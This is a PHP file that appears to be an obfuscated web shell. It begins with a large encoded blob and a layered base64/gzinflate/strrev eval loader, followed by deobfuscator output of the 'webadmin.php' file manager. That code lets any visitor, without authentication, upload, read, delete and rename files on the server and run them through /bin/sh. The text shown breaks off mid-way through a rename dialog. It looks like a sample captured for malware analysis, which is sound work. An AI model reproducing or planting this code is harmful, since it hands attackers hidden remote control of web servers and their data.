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";
$t13r = "WlhaaGJDZ25QejRuTG1kNmRXNWpiMjF3Y21WemN5aG5lbWx1Wm14aGRHVW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb2MzUnljbVYyS0NSdlltbHlibWx1YW1FcEtTa3BLU2s3";
eval /* PHPDeobfuscator eval output */ {
    /*
     * webadmin.php - a simple Web-based file manager
     * Copyright (C) 2004-2011  Daniel Wacker [daniel dot wacker at web dot de]
     *
     * This program is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
     *
     * -------------------------------------------------------------------------
     * While using this script, do NOT navigate with your browser's back and
     * forward buttons! Always open files in a new browser tab!
     * -------------------------------------------------------------------------
     *
     * This is Version 0.9, revision 12
     * =========================================================================
     *
     * Changes of revision 12
     * [bhb at o2 dot pl]
     *    added Polish translation
     * [daniel dot wacker at web dot de]
     *    switched to UTF-8
     *    fixed undefined variable
     *
     * Changes of revision 11
     * [daniel dot wacker at web dot de]
     *    fixed handling if folder isn't readable
     *
     * Changes of revision 10
     * [alex dash smirnov at web.de]
     *    added Russian translation
     * [daniel dot wacker at web dot de]
     *    added </td> to achieve valid XHTML (thanks to Marc Magos)
     *    improved delete function
     * [ava at asl dot se]
     *    new list order: folders first
     *
     * Changes of revision 9
     * [daniel dot wacker at web dot de]
     *    added workaround for directory listing, if lstat() is disabled
     *    fixed permisson of uploaded files (thanks to Stephan Duffner)
     *
     * Changes of revision 8
     * [okankan at stud dot sdu dot edu dot tr]
     *    added Turkish translation
     * [j at kub dot cz]
     *    added Czech translation
     * [daniel dot wacker at web dot de]
     *    improved charset handling
     *
     * Changes of revision 7
     * [szuniga at vtr dot net]
     *    added Spanish translation
     * [lars at soelgaard dot net]
     *    added Danish translation
     * [daniel dot wacker at web dot de]
     *    improved rename dialog
     *
     * Changes of revision 6
     * [nederkoorn at tiscali dot nl]
     *    added Dutch translation
     *
     * Changes of revision 5
     * [daniel dot wacker at web dot de]
     *    added language auto select
     *    fixed symlinks in directory listing
     *    removed word-wrap in edit textarea
     *
     * Changes of revision 4
     * [daloan at guideo dot fr]
     *    added French translation
     * [anders at wiik dot cc]
     *    added Swedish translation
     *
     * Changes of revision 3
     * [nzunta at gabriele dash erba dot it]
     *    improved Italian translation
     *
     * Changes of revision 2
     * [daniel dot wacker at web dot de]
     *    got images work in some old browsers
     *    fixed creation of directories
     *    fixed files deletion
     *    improved path handling
     *    added missing word 'not_created'
     * [till at tuxen dot de]
     *    improved human readability of file sizes
     * [nzunta at gabriele dash erba dot it]
     *    added Italian translation
     *
     * Changes of revision 1
     * [daniel dot wacker at web dot de]
     *    webadmin.php completely rewritten:
     *    - clean XHTML/CSS output
     *    - several files selectable
     *    - support for windows servers
     *    - no more treeview, because
     *      - webadmin.php is a >simple< file manager
     *      - performance problems (too much additional code)
     *      - I don't like: frames, java-script, to reload after every treeview-click
     *    - execution of shell scripts
     *    - introduced revision numbers
     *
    /* ------------------------------------------------------------------------- */
    /* Your language:
     * 'en' - English
     * 'de' - German
     * 'fr' - French
     * 'it' - Italian
     * 'nl' - Dutch
     * 'se' - Swedish
     * 'sp' - Spanish
     * 'dk' - Danish
     * 'tr' - Turkish
     * 'cs' - Czech
     * 'ru' - Russian
     * 'pl' - Polish
     * 'auto' - autoselect
     */
    $lang = 'auto';
    /* Homedir:
     * For example: './' - the script's directory
     */
    $homedir = './';
    /* Size of the edit textarea
     */
    $editcols = 80;
    $editrows = 25;
    /* -------------------------------------------
     * Optional configuration (remove # to enable)
     */
    /* Permission of created directories:
     * For example: 0705 would be 'drwx---r-x'.
     */
    # $dirpermission = 0705;
    /* Permission of created files:
     * For example: 0604 would be '-rw----r--'.
     */
    # $filepermission = 0604;
    /* Filenames related to the apache web server:
     */
    $htaccess = '.htaccess';
    $htpasswd = '.htpasswd';
    /* ------------------------------------------------------------------------- */
    if (get_magic_quotes_gpc()) {
        array_walk($_GET, 'strip');
        array_walk($_POST, 'strip');
        array_walk($_REQUEST, 'strip');
    }
    if (array_key_exists('image', $_GET)) {
        header('Content-Type: image/gif');
        die(getimage($_GET['image']));
    }
    if (!function_exists('lstat')) {
        function lstat($filename)
        {
            return stat($filename);
        }
    }
    $delim = DIRECTORY_SEPARATOR;
    if (function_exists('php_uname')) {
        $win = false;
    } else {
        $win = false;
    }
    if (!empty($_SERVER['PATH_TRANSLATED'])) {
        $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
    } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
        $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
    } elseif (function_exists('getcwd')) {
        $scriptdir = getcwd();
    } else {
        $scriptdir = '.';
    }
    $homedir = relative2absolute($homedir, $scriptdir);
    $dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
    if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
        $dir = relative2absolute($dir, $_POST['olddir']);
    }
    $directory = simplify_path(addslash($dir));
    $files = array();
    $action = '';
    if (!empty($_POST['submit_all'])) {
        $action = $_POST['action_all'];
        for ($i = 0; $i < $_POST['num']; $i++) {
            if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
                $files[] = $_POST["file{$i}"];
            }
        }
    } elseif (!empty($_REQUEST['action'])) {
        $action = $_REQUEST['action'];
        $files[] = relative2absolute($_REQUEST['file'], $directory);
    } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
        $files[] = $_FILES['upload'];
        $action = 'upload';
    } elseif (array_key_exists('num', $_POST)) {
        for ($i = 0; $i < $_POST['num']; $i++) {
            if (array_key_exists("submit{$i}", $_POST)) {
                break;
            }
        }
        if ($i < $_POST['num']) {
            $action = $_POST["action{$i}"];
            $files[] = $_POST["file{$i}"];
        }
    }
    if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
        $files[] = relative2absolute($_POST['create_name'], $directory);
        switch ($_POST['create_type']) {
            case 'directory':
                $action = 'create_directory';
                break;
            case 'file':
                $action = 'create_file';
        }
    }
    if (sizeof($files) == 0) {
        $action = '';
    } else {
        $file = reset($files);
    }
    if ($lang == 'auto') {
        if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
            $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
        } else {
            $lang = 'en';
        }
    }
    $words = getwords($lang);
    if ($site_charset == 'auto') {
        $site_charset = $word_charset;
    }
    $cols = $win ? 4 : 7;
    if (!isset($dirpermission)) {
        $dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
    }
    if (!isset($filepermission)) {
        $filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
    }
    if (!empty($_SERVER['SCRIPT_NAME'])) {
        $self = html(basename($_SERVER['SCRIPT_NAME']));
    } elseif (!empty($_SERVER['PHP_SELF'])) {
        $self = html(basename($_SERVER['PHP_SELF']));
    } else {
        $self = '';
    }
    if (!empty($_SERVER['SERVER_SOFTWARE'])) {
        if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
            $apache = true;
        } else {
            $apache = false;
        }
    } else {
        $apache = true;
    }
    switch ($action) {
        case 'view':
            if (is_script($file)) {
                /* highlight_file is a mess! */
                ob_start();
                highlight_file($file);
                $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \\1">', ob_get_contents());
                $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
                ob_end_clean();
                html_header();
                echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
                for ($i = 1; $i <= sizeof(file($file)); $i++) {
                    echo "{$i}\n";
                }
                echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';
                html_footer();
            } else {
                header('Content-Type: ' . getmimetype($file));
                header('Content-Disposition: filename=' . basename($file));
                readfile($file);
            }
            break;
        case 'download':
            header('Pragma: public');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Content-Type: ' . getmimetype($file));
            header('Content-Disposition: attachment; filename=' . basename($file) . ';');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            break;
        case 'upload':
            $dest = relative2absolute($file['name'], $directory);
            if (@file_exists($dest)) {
                listing_page(error('already_exists', $dest));
            } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
                @chmod($dest, $filepermission);
                listing_page(notice('uploaded', $file['name']));
            } else {
                listing_page(error('not_uploaded', $file['name']));
            }
            break;
        case 'create_directory':
            if (@file_exists($file)) {
                listing_page(error('already_exists', $file));
            } else {
                $old = @umask(0777 & ~$dirpermission);
                if (@mkdir($file, $dirpermission)) {
                    listing_page(notice('created', $file));
                } else {
                    listing_page(error('not_created', $file));
                }
                @umask($old);
            }
            break;
        case 'create_file':
            if (@file_exists($file)) {
                listing_page(error('already_exists', $file));
            } else {
                $old = @umask(0777 & ~$filepermission);
                if (@touch($file)) {
                    edit($file);
                } else {
                    listing_page(error('not_created', $file));
                }
                @umask($old);
            }
            break;
        case 'execute':
            chdir(dirname($file));
            $output = array();
            $retval = 0;
            exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
            $error = false;
            if (sizeof($output) == 0) {
                $output = array('<' . $words['no_output'] . '>');
            }
            if ($error) {
                listing_page(error('not_executed', $file, implode("\n", $output)));
            } else {
                listing_page(notice('executed', $file, implode("\n", $output)));
            }
            break;
        case 'delete':
            if (!empty($_POST['no'])) {
                listing_page();
            } elseif (!empty($_POST['yes'])) {
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    if (del($file)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_deleted', implode("\n", $failure));
                }
                if (sizeof($success) > 0) {
                    $message .= notice('deleted', implode("\n", $success));
                }
                listing_page($message);
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
                request_dump();
                echo "\t<b>" . word('really_delete') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';
                html_footer();
            }
            break;
        case 'rename':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (!@file_exists($dest) && @rename($file, $dest)) {
                    listing_page(notice('renamed', $file, $dest));
                } else {
                    listing_page(error('not_renamed', $file, $dest));
                }
            } else {
                $name = basename($file);
                html_header();
                echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
